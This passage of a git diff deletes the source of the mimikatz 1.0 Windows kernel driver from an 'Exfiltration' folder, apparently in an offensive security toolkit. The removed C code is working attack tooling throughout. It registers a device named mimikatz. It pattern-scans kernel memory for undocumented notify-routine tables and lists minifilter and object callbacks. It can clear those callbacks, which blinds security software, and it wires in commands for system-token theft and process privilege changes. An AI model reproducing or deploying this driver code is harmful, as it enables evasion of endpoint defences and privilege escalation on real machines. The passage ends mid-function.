- pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
- if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
- {
- if(maFunc)
- {
- status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining);
-
- if(NT_SUCCESS(status))
- {
- Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining;
- }
- }
- else
- {
- status = STATUS_PROCEDURE_NOT_FOUND;
- }
- }
- IoCompleteRequest(Irp, IO_NO_INCREMENT);
- Irp->IoStatus.Status = status;
-
- return status;
-}
-
-void DriverUnload(IN PDRIVER_OBJECT theDriverObject)
-{
- UNICODE_STRING UStrDosDeviceName;
- RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
- IoDeleteSymbolicLink(&UStrDosDeviceName);
- IoDeleteDevice(theDriverObject->DeviceObject);
-}
-
-NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
-{
- NTSTATUS status;
- UNICODE_STRING UStrDriverName, UStrDosDeviceName;
- PDEVICE_OBJECT pDeviceObject = NULL;
- ULONG i;
-
- moi = theDriverObject;
- RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz");
- status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
-
- if(NT_SUCCESS(status))
- {
- INDEX_OS = getWindowsIndex();
-
- for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
- theDriverObject->MajorFunction[i] = UnSupported;
-
- theDriverObject->MajorFunction[IRP_MJ_READ] = Read;
- theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write;
-
- theDriverObject->DriverUnload = DriverUnload;
-
- pDeviceObject->Flags |= DO_BUFFERED_IO;
- pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
-
- RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
- IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName);
- }
-
- return status;
-}
-
-
-ULONG getWindowsIndex()
-{
- switch(*NtBuildNumber)
- {
- case 2600:
- return INDEX_XP;
- break;
- case 3790:
- return INDEX_2K3;
- break;
- case 6000:
- case 6001:
- return INDEX_VISTA;
- case 6002:
- return INDEX_2K8;
- break;
- case 7600:
- case 7601:
- return INDEX_7;
- break;
- case 8102:
- case 8250:
- case 9200:
- return INDEX_8;
- break;
- default:
- return 0;
- }
-}
-
-NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc)
-{
- NTSTATUS status;
- size_t tailleChaine;
- ULONG i;
- ULONG taillFunc;
-
- status = RtlStringCbLengthW(buffer, taille, &tailleChaine);
- if(NT_SUCCESS(status))
- {
- for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++);
-
- if( (i+1) < (tailleChaine / sizeof(WCHAR)))
- {
- *params = buffer + (i+1);
- *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!!
- DbgPrint("%u", *tailleParams);
- }
- else
- {
- *params = NULL;
- *tailleParams = 0;
- }
-
- *destFunc = NULL;
- taillFunc = i*sizeof(WCHAR);
-
-
- KIWI_NameToFunc(L"ping", kPing);
-
- if(INDEX_OS)
- {
- KIWI_NameToFunc(L"ssdt", kSSDT);
-
- KIWI_NameToFunc(L"listModules", kModulesList);
- KIWI_NameToFunc(L"listFilters", kFiltersList);
- KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList);
-
- KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses);
- KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads);
- KIWI_NameToFunc(L"listNotifImages", kListNotifyImages);
- KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry);
- KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects);
- KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects);
-
- KIWI_NameToFunc(L"listProcesses", listProcesses);
- KIWI_NameToFunc(L"sysToken", sysToken);
- KIWI_NameToFunc(L"privProcesses", privProcesses);
- }
- }
- return status;
-}
-
-
-NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n");
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h
deleted file mode 100644
index 3ece6e2..0000000
--- a/Exfiltration/mimikatz-1.0/driver/mimikatz.h
+++ /dev/null
@@ -1,26 +0,0 @@
-#pragma once
-
-#include "minifilters.h"
-#include "fsfilters.h"
-#include "modules.h"
-#include "processes.h"
-#include "ssdt.h"
-
-#include "notify.h"
-
-#include "k_types.h"
-
-#include
-
-extern PSHORT NtBuildNumber;
-ULONG getWindowsIndex();
-
-DRIVER_INITIALIZE DriverEntry;
-DRIVER_UNLOAD DriverUnload;
-
-DRIVER_DISPATCH UnSupported;
-__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read;
-__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write;
-
-NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc);
-NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c
deleted file mode 100644
index 90ba7ef..0000000
--- a/Exfiltration/mimikatz-1.0/driver/minifilters.c
+++ /dev/null
@@ -1,193 +0,0 @@
-#include "minifilters.h"
-
-const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] =
-{
- /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */
-#ifdef _M_IX86
-/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000},
-/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c},
-/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c},
-/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030},
-/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030},
-/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030},
-/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/
-/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030}
-#else
-/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000},
-/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */
-/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048},
-/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050},
-/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050},
-/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050},
-/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050},
-/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050}
-#endif
-};
-
-const WCHAR *irpToName[] = {
- L"CREATE",
- L"CREATE_NAMED_PIPE",
- L"CLOSE",
- L"READ",
- L"WRITE",
- L"QUERY_INFORMATION",
- L"SET_INFORMATION",
- L"QUERY_EA",
- L"SET_EA",
- L"FLUSH_BUFFERS",
- L"QUERY_VOLUME_INFORMATION",
- L"SET_VOLUME_INFORMATION",
- L"DIRECTORY_CONTROL",
- L"FILE_SYSTEM_CONTROL",
- L"DEVICE_CONTROL",
- L"INTERNAL_DEVICE_CONTROL",
- L"SHUTDOWN",
- L"LOCK_CONTROL",
- L"CLEANUP",
- L"CREATE_MAILSLOT",
- L"QUERY_SECURITY",
- L"SET_SECURITY",
- L"POWER",
- L"SYSTEM_CONTROL",
- L"DEVICE_CHANGE",
- L"QUERY_QUOTA",
- L"SET_QUOTA",
- L"PNP",
-};
-
-NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
-
- ULONG i, j, k;
-
- ULONG NumberFiltersReturned = 0;
- PFLT_FILTER *FilterList = NULL;
-
- ULONG BytesReturned = 0;
- PFILTER_FULL_INFORMATION myFilterFullInformation = NULL;
-
- PFLT_INSTANCE *InstanceList = NULL;
- ULONG NumberInstancesReturned = 0;
-
- PFLT_VOLUME RetVolume = NULL;
-
- PVOID monCallBack, preCallBack, postCallBack;
-
- *ppszDestEnd = pszDest;
- *pcbRemaining= cbDest;
-
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n");
- if(NT_SUCCESS(status))
- {
- status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned);
- if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0))
- {
- FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG);
- if(FilterList != NULL)
- {
- status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned);
- for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++)
- {
- status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned);
- if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0))
- {
- myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG);
- if(myFilterFullInformation != NULL)
- {
- status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned);
- if(NT_SUCCESS(status))
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L"%*.*ws\n",
- myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR),
- myFilterFullInformation->FilterNameBuffer
- );
-
- if(NT_SUCCESS(status))
- {
- status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned);
- if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0))
- {
- InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG);
- if(InstanceList != NULL)
- {
- status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned);
- for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++)
- {
- /*
- http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx
- * InstanceName
- * Altitude
- * VolumeName
- - FilterName
- */
-
- if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume)))
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L" Instance %u @ %wZ\n",
- j,
- (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF])
- );
- FltObjectDereference (RetVolume);
- }
- else
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L" Instance %u\n",
- j
- );
- }
-
- for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++)
- {
- monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k);
- if(monCallBack != NULL)
- {
- preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]);
- postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]);
-
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L" [0x%2x %-24ws] ",
- k,
- irpToName[k - 0x16]
- );
-
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
-
- }
- }
- }
- FltObjectDereference (InstanceList[j]);
- }
- ExFreePoolWithTag(InstanceList, POOL_TAG);
- }
- }
- }
- }
- ExFreePoolWithTag(myFilterFullInformation, POOL_TAG);
- }
- }
- FltObjectDereference (FilterList[i]);
- }
- ExFreePoolWithTag(FilterList, POOL_TAG);
- }
- }
- }
- return status;
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h
deleted file mode 100644
index 647031a..0000000
--- a/Exfiltration/mimikatz-1.0/driver/minifilters.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#pragma once
-#include
-#include "k_types.h"
-#include "modules.h"
-
-#define INDEX_MF_CALLBACK_OFF 0
-#define INDEX_MF_CALLBACK_PRE_OFF 1
-#define INDEX_MF_CALLBACK_POST_OFF 2
-#define INDEX_MF_VOLUME_NAME_OFF 3
-#define MAX_MF_LEN 4
-
-NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c
deleted file mode 100644
index d5a05b3..0000000
--- a/Exfiltration/mimikatz-1.0/driver/mod_memory.c
+++ /dev/null
@@ -1,32 +0,0 @@
-#include "mod_memory.h"
-
-NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur)
-{
- for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1)
- {
- if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur)
- {
- return STATUS_SUCCESS;
- }
- }
- *addressePattern = NULL;
- return STATUS_NOT_FOUND;
-}
-
-NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo)
-{
- NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur);
- if(NT_SUCCESS(status))
- {
- *addressePointeur += offsetTo;
- #ifdef _M_X64
- *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur);
- #elif defined _M_IX86
- *addressePointeur = *(PUCHAR *)(*addressePointeur);
- #endif
-
- if(!*addressePointeur)
- status = STATUS_INVALID_HANDLE;
- }
- return status;
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h
deleted file mode 100644
index 0c10fb9..0000000
--- a/Exfiltration/mimikatz-1.0/driver/mod_memory.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-#include "k_types.h"
-
-NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur);
-NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo);
diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c
deleted file mode 100644
index 7ca3551..0000000
--- a/Exfiltration/mimikatz-1.0/driver/modules.c
+++ /dev/null
@@ -1,110 +0,0 @@
-#include "modules.h"
-
-NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status = STATUS_SUCCESS;
- ULONG i;
- ULONG modulesSize;
- AUX_MODULE_EXTENDED_INFO* modules;
- ULONG numberOfModules;
-
- *ppszDestEnd = pszDest;
- *pcbRemaining= cbDest;
-
- status = AuxKlibInitialize();
- if(NT_SUCCESS(status))
- {
- status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL);
- if (NT_SUCCESS(status))
- {
- if(modulesSize > 0)
- {
- numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
- modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG);
-
- if(modules != NULL)
- {
- status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
- if (NT_SUCCESS(status))
- {
- for(i = 0; i < numberOfModules; i++)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L"%p - %.8u [%S] %S\n",
- modules[i].BasicInfo.ImageBase,
- modules[i].ImageSize,
- modules[i].FullPathName + modules[i].FileNameOffset,
- modules[i].FullPathName
- );
- }
- }
- ExFreePoolWithTag(modules, POOL_TAG);
- }
- }
- }
- }
-
- return status;
-}
-
-NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status = STATUS_SUCCESS;
- ULONG i;
- ULONG modulesSize;
- AUX_MODULE_EXTENDED_INFO* modules;
- ULONG numberOfModules;
-
- *ppszDestEnd = pszDest;
- *pcbRemaining= cbDest;
-
- status = AuxKlibInitialize();
- if(NT_SUCCESS(status))
- {
- status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL);
- if (NT_SUCCESS(status))
- {
- if(modulesSize > 0)
- {
- numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
- modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG);
-
- if(modules != NULL)
- {
- status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
- if (NT_SUCCESS(status))
- {
- for(i = 0; i < numberOfModules; i++)
- {
- status = STATUS_NOT_FOUND;
- if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize))
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L"%p [%S+%u]",
- theAddr,
- modules[i].FullPathName + modules[i].FileNameOffset,
- theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase
- );
- break;
- }
-
-
- }
-
- if(status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr);
- if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND;
- }
- }
- ExFreePoolWithTag(modules, POOL_TAG);
- }
- }
- }
- }
-
- return status;
-}
-
-
-
diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h
deleted file mode 100644
index 86fe625..0000000
--- a/Exfiltration/mimikatz-1.0/driver/modules.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#pragma once
-#include
-#include
-#include "k_types.h"
-
-NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h
deleted file mode 100644
index 8ee225a..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify.h
+++ /dev/null
@@ -1,19 +0,0 @@
-#pragma once
-#include
-#include "k_types.h"
-#include "modules.h"
-#include "mod_memory.h"
-#include "notify_process.h"
-#include "notify_thread.h"
-#include "notify_image.h"
-#include "notify_reg.h"
-#include "notify_object.h"
-
-typedef struct _KIWI_CALLBACK
-{
- #ifdef _M_IX86
- PVOID unk0;
- #endif
- PVOID * callback;
- LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi
-} KIWI_CALLBACK, *PKIWI_CALLBACK;
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c
deleted file mode 100644
index 6f03fd4..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_image.c
+++ /dev/null
@@ -1,117 +0,0 @@
-#include "notify_image.h"
-
-ULONG * PspLoadImageNotifyRoutineCount = NULL;
-PVOID * PspLoadImageNotifyRoutine = NULL;
-
-NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
- ULONG i;
- PKIWI_CALLBACK monCallBack;
-
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n");
- if(NT_SUCCESS(status))
- {
- status = getPspLoadImageNotifyRoutine();
- if(NT_SUCCESS(status))
- {
- for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++)
- {
- monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]);
- if(monCallBack != NULL)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
- }
- }
- }
- return status;
-}
-
-NTSTATUS getPspLoadImageNotifyRoutine()
-{
- NTSTATUS retour = STATUS_NOT_FOUND;
- #ifdef _M_X64
- UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35};
- LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image);
- UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d};
- LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image);
-
- LONG OFFS_WNT5_Count = - 0x0c;
- LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine;
- #elif defined _M_IX86
- UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56};
- UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6};
- UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6};
- LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID);
-
- LONG OFFS_WNT5_Count = - 0x18;
- LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine;
- LONG OFFS_WIN8_Count = - 0x20;
- #endif
-
- PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0;
- LONG offsetToCountEx = 0, offsetToCount = 0;
-
- if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount)
- {
- retour = STATUS_SUCCESS;
- }
- else
- {
- if(INDEX_OS < INDEX_VISTA)
- {
- pattern = PTRN_WNT5_Image;
- taille = sizeof(PTRN_WNT5_Image);
- #ifdef _M_X64
- offsetTo = OFFS_WNT5_Image;
- #endif
- offsetToCount = OFFS_WNT5_Count;
- }
- else
- {
- #ifdef _M_X64
- pattern = PTRN_WNT6_Image;
- taille = sizeof(PTRN_WNT6_Image);
- offsetTo = OFFS_WNT6_Image;
- offsetToCount = OFFS_WNT6_Count;
- #elif defined _M_IX86
- if(INDEX_OS < INDEX_8)
- {
- pattern = PTRN_WNO8_Image;
- taille = sizeof(PTRN_WNO8_Image);
- offsetToCount = OFFS_WNO8_Count;
- }
- else
- {
- pattern = PTRN_WIN8_Image;
- taille = sizeof(PTRN_WIN8_Image);
- offsetToCount = OFFS_WIN8_Count;
- }
- #endif
- }
- #ifdef _M_IX86
- offsetTo = OFFS_WALL_Image;
- #endif
-
- retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
- if(NT_SUCCESS(retour))
- {
- PspLoadImageNotifyRoutine = (PVOID) (pointeur);
- PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
-
- if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount)
- retour = STATUS_SUCCESS;
- }
- }
- return retour;
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h
deleted file mode 100644
index f6e0711..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_image.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#pragma once
-#include "notify.h"
-
-#define MAX_NT_PspLoadImageNotifyRoutine 8
-
-ULONG * PspLoadImageNotifyRoutineCount;
-PVOID * PspLoadImageNotifyRoutine;
-
-NTSTATUS getPspLoadImageNotifyRoutine();
-NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c
deleted file mode 100644
index 9eac3bb..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_object.c
+++ /dev/null
@@ -1,173 +0,0 @@
-#include "notify_object.h"
-
-POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL;
-
-const WCHAR *procCallToName[] = {
- L"Dump ",
- L"Open ",
- L"Close ",
- L"Delete ",
- L"Parse ",
- L"Security ",
- L"QueryName ",
- L"OkayToClose",
-};
-
-NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif);
-}
-
-NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif);
-}
-
-NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action)
-{
- NTSTATUS status;
- ULONG i, j;
- POBJECT_DIRECTORY_ENTRY monEntree;
- POBJECT_TYPE monType, monTypeDecal;
- PVOID * miniProc;
- POBJECT_CALLBACK_ENTRY pStruct;
-
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n");
-
- if(NT_SUCCESS(status))
- {
- status = getObpTypeDirectoryObject();
- if(NT_SUCCESS(status))
- {
- for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++)
- {
- if((*ObpTypeDirectoryObject)->HashBuckets[i])
- {
- for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry)
- {
- if(monType = monEntree->Object)
- {
- if(INDEX_OS < INDEX_VISTA)
